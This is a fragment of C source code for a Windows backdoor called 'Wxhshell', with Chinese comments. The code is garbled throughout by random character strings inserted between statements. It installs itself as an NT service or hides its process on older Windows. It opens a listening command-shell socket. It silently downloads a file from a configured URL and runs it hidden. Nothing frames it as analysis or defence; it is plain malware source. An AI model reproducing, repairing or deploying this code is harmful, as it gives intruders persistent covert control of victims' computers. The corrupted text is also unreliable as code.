](?Yr j )6 if (!NtQueryInformationProcess) return 0; V}#X'~Ob l[38cF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,|({[9jA if(!hProcess) return 0; kO}&Oi,? @owneSD qN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bx8](cT_ 4VwF\ CloseHandle(hProcess); &vpKBR^ \g39>;iR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); USz~l7Xs if(hProcess==NULL) return 0; #hZ$;1. 6:7[>|okQ HMODULE hMod; ;=ddv@ char procName[255]; $Iwvecn?I unsigned long cbNeeded; _F;v3|`D@< 'BjTo*TB]Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,twx4r^ esqmj#G CloseHandle(hProcess); Fz%;_%j e"nm< & if(strstr(procName,"services")) return 1; // 以服务启动 b|d-vnYE 52e>f5m.
return 0; // 注册表启动 <W"W13*j! } O,Q.- hJ}i+[~be // 主模块 j<B9$8x& int StartWxhshell(LPSTR lpCmdLine) vwU1}H { >.iF,[.[F< SOCKET wsl; f~`=I NrU BOOL val=TRUE; Q5+1'mzAB int port=0; 'dLw8&T+W struct sockaddr_in door; !*N9PUM <1D|TrP if(wscfg.ws_autoins) Install(); ]%' AZ`8 Qd[_W^QI port=atoi(lpCmdLine); BNu >/zGpB 0ns\:2)cEB if(port<=0) port=wscfg.ws_port; }Y~Dk]* Lnr9*dm6q WSADATA data; Iux3f+H if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Jzk2,rI K3yQ0k
| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !GqFX+!Ju setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,@`?I6nKy door.sin_family = AF_INET; Ttluh
* door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8D='N`cN+ door.sin_port = htons(port); Jj"{C] {>f"&I<xw if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1@F-t94I closesocket(wsl); ju"z return 1; uzy5rA== } 9P?0D pM?;QG;jA if(listen(wsl,2) == INVALID_SOCKET) { JE?rp1. closesocket(wsl); 3e_tT8 return 1; /Nf{;G!kg } ;w7 mr1 Wxhshell(wsl); y6XOq> WSACleanup(); WAa45G B*(]T|ff< return 0; p)y5[HX j/O~8o& } i5VZ,E^E )6OD@<r{ // 以NT服务方式启动 ?[ xgt) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hr|f(9xA { <^5!]8*O DWORD status = 0; 2{-29bq DWORD specificError = 0xfffffff; bdg6B7%Q ^#9385 serviceStatus.dwServiceType = SERVICE_WIN32; X0lPRk53( serviceStatus.dwCurrentState = SERVICE_START_PENDING; $%y q[$^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +V3mF_s|z serviceStatus.dwWin32ExitCode = 0; )^>LnQ_u serviceStatus.dwServiceSpecificExitCode = 0; 7' G;ijx serviceStatus.dwCheckPoint = 0; J2bvHxb Rd serviceStatus.dwWaitHint = 0; j#l=%H t#k]K] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z*\_+u~u if (hServiceStatusHandle==0) return; 8 #_pkVQw: O=B=0 status = GetLastError(); De?VZ2o9" if (status!=NO_ERROR) X0/slOT { NJUKH1lIhR serviceStatus.dwCurrentState = SERVICE_STOPPED; GWA"!~Hu serviceStatus.dwCheckPoint = 0; IDohv[# serviceStatus.dwWaitHint = 0; "tJ+v*E serviceStatus.dwWin32ExitCode = status; ?Nos;_/ serviceStatus.dwServiceSpecificExitCode = specificError; 8Zr;n`~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ul~ux$a return; %5o2I_Cjz } )l3Uf&v^f <!OBpAq serviceStatus.dwCurrentState = SERVICE_RUNNING; a3@E`Z serviceStatus.dwCheckPoint = 0; ^/f~\#R serviceStatus.dwWaitHint = 0; 7EJ2 On if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PTQ#8(_, } Ds9)e&yYrb L5&M@YTH // 处理NT服务事件,比如:启动、停止 E }L Hp VOID WINAPI NTServiceHandler(DWORD fdwControl) `|dyT6V0I_ { L)e"qC_- switch(fdwControl) P`Np+E#I { %B s. XW, case SERVICE_CONTROL_STOP: 2~4:rEPJ: serviceStatus.dwWin32ExitCode = 0; ]3KeAJ serviceStatus.dwCurrentState = SERVICE_STOPPED; }A)\bffH serviceStatus.dwCheckPoint = 0; 3BFOZV+ serviceStatus.dwWaitHint = 0; 9/ <3mF@E { =rjU=3!&( SetServiceStatus(hServiceStatusHandle, &serviceStatus); "#Rh\DQ } O0 'iq^g return; &V].,12x case SERVICE_CONTROL_PAUSE: yW_yHSx; serviceStatus.dwCurrentState = SERVICE_PAUSED; $J[( 3 break; iC"iR\Qu case SERVICE_CONTROL_CONTINUE: vsY?q8+P serviceStatus.dwCurrentState = SERVICE_RUNNING; WtT;y|W break; 8=8hbdy; case SERVICE_CONTROL_INTERROGATE: lx)^wAO4 break; @X==[gQ }; q+ax]=w SetServiceStatus(hServiceStatusHandle, &serviceStatus); :U6`n } e4z`:%vy Z)?$ZI@ // 标准应用程序主函数 <kh.fu@.Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -F 5BJk { honh'j $0])%
// 获取操作系统版本 6u[fCGi% OsIsNt=GetOsVer(); Rh>B#
\ GetModuleFileName(NULL,ExeFile,MAX_PATH); $7x2TiAL s8h*nZ)v // 从命令行安装 +QChD* if(strpbrk(lpCmdLine,"iI")) Install(); #:K=zV\ F/5&:e?( ) // 下载执行文件 :eN&wQ5q if(wscfg.ws_downexe) { _$~>O7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7J'%;sH WinExec(wscfg.ws_filenam,SW_HIDE); tl#sCf!c } Vk2$b{VdF m1$tf
^ if(!OsIsNt) { I^NDJdxd // 如果时win9x,隐藏进程并且设置为注册表启动 !T6R[ HideProc(); Oa|c ?|+ StartWxhshell(lpCmdLine); 9*qwXU_aV } c=m'I>A else D#;7S'C if(StartFromService()) *2AD#yIKC // 以服务方式启动 Pv -4psdw StartServiceCtrlDispatcher(DispatchTable);
r!:yUPv else |iM,bs // 普通方式启动 HsY5wC StartWxhshell(lpCmdLine); -3K h
>b) w~lH2U'k} return 0; sSM"~_y\ }
|